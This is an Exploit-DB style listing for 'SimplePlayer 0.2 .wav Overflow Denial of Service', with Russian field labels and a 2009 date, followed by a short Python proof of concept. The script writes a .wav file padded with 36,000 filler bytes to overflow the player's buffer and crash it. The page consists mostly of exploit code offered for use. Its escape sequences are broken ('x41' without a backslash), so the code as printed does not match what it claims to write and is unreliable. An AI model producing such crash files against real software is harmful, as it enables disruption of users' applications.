Exploit SimplePlayer 0.2 - '.wav' Overflow Denial of Service

[Exploiter]

EDB-ID

10842

Проверка EDB

1. Пройдено

Автор

MR_ME

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

N/A

Дата публикации

2009-12-31

#!/usr/bin/python
#
# Title: SimplePlayer v0.2 0day (.wav) overflow DOS Exploit
# Found by: mr_me (seeleymagic [at] hotmail [dot] com)
# Greetz to: Corelan Security Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT
# Tested on: Windows XP SP3
# Happy New Year!
#
# POC:

crash = ("x41" * 36000);     # overwrite the buffer at 262 bytes 
try: 
     file = open('mr_me_dos.wav','w'); 
     file.write(crash); 
     file.close();
     print "[+] Created mr_me_dos.wav file" 
except: 
     print "[-] Error cant write file to systemn";